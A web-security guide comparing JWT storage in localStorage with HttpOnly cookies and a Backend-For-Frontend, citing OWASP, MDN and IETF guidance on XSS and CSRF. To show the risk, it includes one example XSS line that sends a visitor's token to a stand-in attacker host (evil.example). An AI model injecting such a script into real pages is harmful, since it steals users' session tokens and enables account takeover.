For most web apps, store the JWT in a cookie marked HttpOnly, Secure and SameSite, not in localStorage. On the question of JWT localStorage vs cookies, the deciding fact is that any script on your page can read localStorage, so one XSS bug hands an attacker the token. JavaScript can't read an HttpOnly cookie, though you then need CSRF protection.
The strongest option goes one step further: keep the token on a server you control and give the browser only a session cookie.
Why localStorage is risky for a JWT
localStorage is risky for a JWT because every script running on the page can read it, including one an attacker injects. The OWASP HTML5 Security Cheat Sheet is direct: "Do not store session identifiers in local storage as the data is always accessible by JavaScript."
The same page warns that "A single Cross Site Scripting can be used to steal all the data in these objects." A JWT is a bearer token. Whoever holds it can call your API as that user until it expires, from any machine.
Picture a comment field that renders HTML without escaping. An attacker posts a comment with a script that runs fetch("https://evil.example/c?t=" + localStorage.getItem("token")). Every visitor who views that comment ships their token to the attacker.
sessionStorage doesn't fix this. OWASP suggests it over localStorage when you don't need persistence, because it lasts only "until the window is closed." A script on the open page can still read it.
What an HttpOnly cookie protects, and what it doesn't
An HttpOnly cookie protects the token from being read by JavaScript, which means XSS can't copy it off to another machine. MDN's Set-Cookie reference says the flag "Forbids JavaScript from accessing the cookie, for example, through the Document.cookie property."
The same MDN entry has the caveat many guides leave out. A cookie with HttpOnly "will still be sent with JavaScript-initiated requests, for example, when calling XMLHttpRequest.send() or fetch()." So an injected script can't steal the token, but it can still call your API as the user while the page is open.
That's still worth having. A stolen token works anywhere until it expires; a hijacked page works only while the victim has it open. You still have to fix the XSS.
JWT localStorage vs cookies: the trade-offs side by side
The trade-off between localStorage and cookies is XSS exposure against CSRF exposure. Because the browser sends cookies automatically, they invite cross-site request forgery unless you block it.
| localStorage | sessionStorage | HttpOnly cookie | Token on the server (BFF) | |
|---|---|---|---|---|
| Readable by page JavaScript | Yes | Yes | No | Token never reaches the browser |
| Stolen by an XSS bug | Yes | Yes | No, but XSS can still send requests | No, but XSS can still send requests |
| Sent automatically (CSRF risk) | No | No | Yes | Yes (session cookie) |
| Survives closing the tab | Yes | No | Depends on expiry | Depends on session |
| Works for a separate API domain | Yes, via a header | Yes, via a header | Needs care | API calls go through your backend |
How to set the cookie correctly
A safe token cookie uses Secure, HttpOnly, SameSite=Strict, Path=/ and no Domain attribute. Those are the rules the IETF's OAuth 2.0 for Browser-Based Applications guidance gives for the cookies its BFF pattern sets.
The response header:
Set-Cookie: __Host-session=abc123; Secure; HttpOnly; SameSite=Strict; Path=/
Securekeeps the cookie off plainhttp:requests (MDN notes localhost is the exception).HttpOnlykeeps it out ofdocument.cookieand any script.SameSite=Strictstops the browser from sending it on requests that start on another site.- The
__Host-prefix makes the browser reject the cookie unless it hasSecure, comes from an HTTPS page, has noDomainand usesPath=/. That blocks a subdomain from overwriting it.
Set SameSite explicitly. The OWASP CSRF Prevention Cheat Sheet notes that "Chromium-based browsers treat cookies without a SameSite attribute as Lax, but Firefox and Safari do not."
You still need CSRF protection
Cookie-based auth still needs a CSRF defense, because the browser attaches the cookie to requests no matter which site triggered them. OWASP calls SameSite "useful as a defense-in-depth control but it does not replace a proper CSRF defense in most deployments."
Add a CSRF token or the double-submit pattern for state-changing requests. OWASP also reminds you that "Cross-Site Scripting (XSS) can defeat all CSRF mitigation techniques", so escaping output and a strict Content Security Policy still matter.
The best option: keep the token off the browser
The best option for apps with real user data is a Backend-For-Frontend (BFF): a small server layer that holds the access and refresh tokens and gives the browser only a session cookie. The IETF guidance says the BFF manages tokens "in the context of a cookie-based session, avoiding the direct exposure of any tokens to the browser-based application."
It recommends this setup strongly "for business applications, sensitive applications, and applications that handle personal data." With no token in the browser, there is nothing for XSS to extract.
My take: on a new app, skip the localStorage-vs-cookie debate and put the token behind a BFF from day one. Adding it later means rewriting every API call path.
The limitation is cost. A BFF is one more server to run, and every API call takes an extra hop through it. For a static single-page app calling a third-party API, that cost isn't worth paying; use an HttpOnly cookie set by your API.
Checking what your token contains
Whatever storage you pick, keep the token small and short-lived, and don't put anything in the payload you wouldn't show the user. Signed JWTs are readable by anyone who holds them, as explained in can a JWT be decoded without the secret.
To see what your app is actually storing, paste a test token into our JWT decoder, which runs in the page and shows the header, payload and exp time. It only decodes; read the difference between decoding and verifying a JWT before trusting anything it shows. For tokens from production, follow how to decode a JWT safely.
FAQ
Is it safe to store a JWT in localStorage?
It's risky. OWASP says not to store session identifiers in local storage because JavaScript can always read it, so a single XSS bug can steal the token.
Does an HttpOnly cookie stop XSS?
No. It stops injected scripts from reading the token, but the browser still sends the cookie with fetch and XMLHttpRequest calls, so an XSS bug can still make requests as the user while the page is open.
Do I need CSRF protection if I use SameSite cookies?
In most apps, yes. OWASP calls SameSite a defense-in-depth control that does not replace a proper CSRF defense, and notes that Firefox and Safari don't default missing SameSite to Lax the way Chromium does.
Is sessionStorage safer than localStorage for a JWT?
Only slightly. sessionStorage is cleared when the tab closes, which shortens the window, but JavaScript on the page can still read it, so XSS can still steal the token.
What is the Backend-For-Frontend (BFF) pattern?
A small server component that holds the tokens and gives the browser only a session cookie. The IETF guidance for browser-based OAuth apps strongly recommends it for business apps, sensitive apps and apps that handle personal data.